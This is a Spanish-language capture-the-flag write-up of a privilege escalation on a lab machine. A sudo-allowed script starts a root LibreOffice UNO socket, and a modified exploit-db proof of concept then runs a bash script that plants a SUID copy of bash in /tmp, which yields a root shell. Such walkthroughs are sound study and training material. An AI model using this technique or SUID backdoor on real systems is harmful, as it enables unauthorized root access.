Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
kai_relay@formulax:~$ whoami
kai_relay
Chequeando qué es lo que puede correr este usuario con sudo
tenemos algo:
kai_relay@formulax:~$ sudo -l
Matching Defaults entries for kai_relay on forumlax:
env_reset, timestamp_timeout=0, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_reset,
timestamp_timeout=0
User kai_relay may run the following commands on forumlax:
(ALL) NOPASSWD: /usr/bin/office.sh
Este archivo es un script en Bash
. Leyendo qué es lo que hace este script, tenemos:
kai_relay@formulax:~$ cat /usr/bin/office.sh
#!/bin/bash
/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless
donde puedo ver que está ejecutando el binario /usr/bin/soffice
.
Buscando por what is soffice
tenemos:
soffice.exe
by The Document Foundation is the executable file for the LibreOffice
office suite. It is responsible for launching and running the various programs within the suite, such as Writer, Calc, Impress, and otherssoffice
es el ejecutable para la suite de LibreOffice
(que es una alternativa gratuita para Microsoft Excel
, Word
, etc).Lo que encontramos es que este script está inicializando el servicio de LibreOffice
, usando privilegios máximos (root
). Por lo tanto, deberíamos de encontrar una manera de explotar este servicio.
Buscando por soffice exploit
en Google nos lleva a exploit-db
, más específicamente a este PoC. Copio el código, lo paso a un archivo llamado /tmp/soffice_exploit.py
usando nano
(o también podemos usar vi
), pero en lugar de ejecutar a nivel de sistema la instrucción calc.exe
cambio la última línea de:
shell_execute.execute("calc.exe", '',1)
a
shell_execute.execute("/bin/bash", '/tmp/exploit.sh',1)
para ejecutar un script malicioso en Bash
script llamado /tmp/exploit.sh
, el cual crearé a continuación.
Nuestro script contendrá lo siguiente:
#!/bin/bash
cp $(which bash) /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x
el cual crea una copia del binario de bash
y, a aquella copia, le otorga permisos SUID
; lo cual nos permite correrlo con permisos del propietario (que será root
).
Uso la terminal para crear el susodicho script:
kai_relay@formulax:~$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x' > /tmp/exploit.sh
y le asigno permisos de ejecución a éste para evitar problemas a futuro:
kai_relay@formulax:~$ chmod +x /tmp/exploit.sh
Si corremos el script basado en el PoC mencionado, éste nos retorna un error:
kai_relay@formulax:~$ python3 /tmp/soffice_exploit.py --host 127.0.0.1 --port 2002
[+] Connecting to target...
Traceback (most recent call last):
File "/tmp/soffice_exploit.py", line 63, in <module>
context = resolver.resolve(
__main__.com.sun.star.connection.NoConnectException: Connector : couldn't connect to socket (Connection refused) ./io/source/connector/connector.cxx:117
Tenemos un error de conexión.
Esto es porque el servicio de LibreOffice
no está corriendo/activo en la máquina víctima; debemos de inicializarlo, lo cual es exactamente lo que hace el script que podemos correr con sudo
. Por tanto, decido conectarme en otra terminal por medio de SSH
como el usuario kai_relay
, sin cerrar la sesión actual. En la sesión actual inicio el servicio corriendo:
kai_relay@formulax:~$ sudo /usr/bin/office.sh
y en la otra terminal, corro:
kai_relay@formulax:~$ python3 /tmp/soffice_exploit.py --host localhost --port 2002
[+] Connecting to target...
[+] Connected to localhost
Reviso si esto ha funcionado… y nuestro archivo está allí 💀:
kai_relay@formulax:~$ ls -la /tmp
total 1440
drwxrwxrwt 14 root root 12288 May 22 04:43 .
drwxr-xr-x 19 root root 4096 Feb 20 16:16 ..
drwxrwxrwt 2 root root 4096 May 20 18:10 .ICE-unix
drwxrwxrwt 2 root root 4096 May 20 18:10 .Test-unix
drwxrwxrwt 2 root root 4096 May 20 18:10 .X11-unix
drwxrwxrwt 2 root root 4096 May 20 18:10 .XIM-unix
drwxrwxrwt 2 root root 4096 May 20 18:10 .font-unix
srwxr-xr-x 1 root root 0 May 22 04:38 OSL_PIPE_0_SingleOfficeIPC_53bc4297d6d012e1a744f3977d159334
-rwxrwxr-x 1 kai_relay kai_relay 68 May 22 04:42 exploit.sh
-rwsr-xr-x 1 root root 1396520 May 22 04:43 gunzf0x
drwxr-xr-x 2 root root 4096 May 22 04:38 hsperfdata_root
drwx------ 2 root root 4096 May 22 04:38 lu23658821vhl2.tmp
<SNIP>
Nos podemos convertir en root
finalmente corriendo este archivo junto con la flag -p
:
kai_relay@formulax:~$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
Game Over. Podemos leer la flag del usuario root
en el directorio /root
.
~ Happy Hacking